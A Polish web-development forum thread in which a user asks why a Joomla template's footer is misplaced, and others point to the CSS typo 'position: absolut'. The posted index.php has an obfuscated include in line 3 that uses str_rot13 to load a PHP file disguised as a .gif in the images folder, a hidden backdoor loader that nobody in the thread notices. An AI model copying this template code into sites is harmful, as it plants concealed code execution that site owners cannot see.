Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> [HTML][CSS][PHP]Problem z stopka
piotrusbor
post 5.11.2010, 09:29:13
Post #1





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 5.11.2010

Ostrzeżenie: (0%)
-----


Witam

mam mały problem ze stronką która juz prawie skończyłem i na sam koniec ZONK !
Strone moża zobaczyc pod adresem : http://squashpartner.home.pl/squashpartner...ories/index.php
No i niestety ale stopka nie wyświetla sie tak jak powinna.
Chodzi o to, że jak mam na górze banner1, czyli powiedzmy logo, to jest ono pod główną jakby tabelą strony i wszystko jest ok ,
natomiast stopka nie chce mi wejść pod tą tablę stronę.
Jakies pomysły questionmark.gif

w pliku CSS mam kod do stopki :
  1. div#stopka{
  2. width:100%;
  3. height:150px;
  4. text-align:center;
  5. background: #fff url(../images/doool.png) top no-repeat;
  6. position: absolut;
  7. }



natomiast w index.php taki kod:

  1. <body id="page_bg">
  2. <a name="up" id="up"></a>
  3. <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
  4. <jdoc:include type="modules" name="layout" style="rounded" />
  5. <?php endif; ?>
  6. <?php include('functions.php'); ?>
  7. <?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
  8.  
  9. <div id="glowna">
  10. <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
  11. <div id="main_bg" class="banner1">
  12. <div id="h_area">
  13. <div id="main_top"><jdoc:include type="modules" name="top" /></div>
  14. <br clear="all" /></div>
  15. <?php if($this->countModules('left')) : ?>
  16. <div id="leftcolumn">
  17. <jdoc:include type="modules" name="left" style="rounded" /><?php endif; ?>
  18. </div>
  19. <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
  20. elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
  21. else $maincol_sufix = ''; ?>
  22. <div id="maincolumn"><?php echo $maincol_sufix; ?>
  23. <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div>
  24. <jdoc:include type="message" />
  25. <div class="nopad"><jdoc:include type="component" /></div>
  26. </div>
  27. <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
  28. <div id="rightcolumn">
  29. <jdoc:include type="modules" name="right" style="xhtml"/>
  30. <br />
  31. <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
  32. </div>
  33. <?php endif; ?>
  34. <br clear="all" />
  35. </div>
  36. <div id="stopka">
  37. </div>
  38. </div>


Bardzo proszę o pomoc
Go to the top of the page
+Quote Post
b4rt3kk
post 5.11.2010, 11:07:29
Post #2





Grupa: Zarejestrowani
Postów: 1 933
Pomógł: 460
Dołączył: 2.04.2010
Skąd: Lublin

Ostrzeżenie: (0%)
-----


position: abosolut, wpisz tam relative. Dodatkowo możesz dopisać clear: both. smile.gif


--------------------
Jeśli pomogłem, kliknij proszę 'pomógł'. Dzięki.
Go to the top of the page
+Quote Post
piotrusbor
post 5.11.2010, 14:05:24
Post #3





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 5.11.2010

Ostrzeżenie: (0%)
-----


Niestety nic to nie dało ;/
Go to the top of the page
+Quote Post
sadistic_son
post 5.11.2010, 14:23:45
Post #4





Grupa: Zarejestrowani
Postów: 1 495
Pomógł: 245
Dołączył: 1.07.2009
Skąd: Bydgoszcz

Ostrzeżenie: (0%)
-----


Absolut to taka wódka i ma mało wspólnego z css tongue.gif Spróbuj może lepiej absolute, co? winksmiley.jpg


--------------------
Uśpieni przez system, wychowani przez media,
Karmieni zmysłami, próżnymi żądzami...

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Jesteś zbyt leniwy, żeby się zarejestrować? Ja jestem zbyt leniwy aby Ci pomóc!
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Go to the top of the page
+Quote Post
darophp
post 5.11.2010, 14:29:42
Post #5





Grupa: Zarejestrowani
Postów: 309
Pomógł: 20
Dołączył: 13.02.2010
Skąd: Kęty

Ostrzeżenie: (0%)
-----


Tak apropo to jak zjedzie się w dół strony, to cały content podnosi się o jakieś 150px w górę ...


--------------------
Fotografia, projektowanie stron WWW | web-coding.pl - HTML 5 i CSS 3 - już w krótce ;)
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 18.07.2025 - 04:21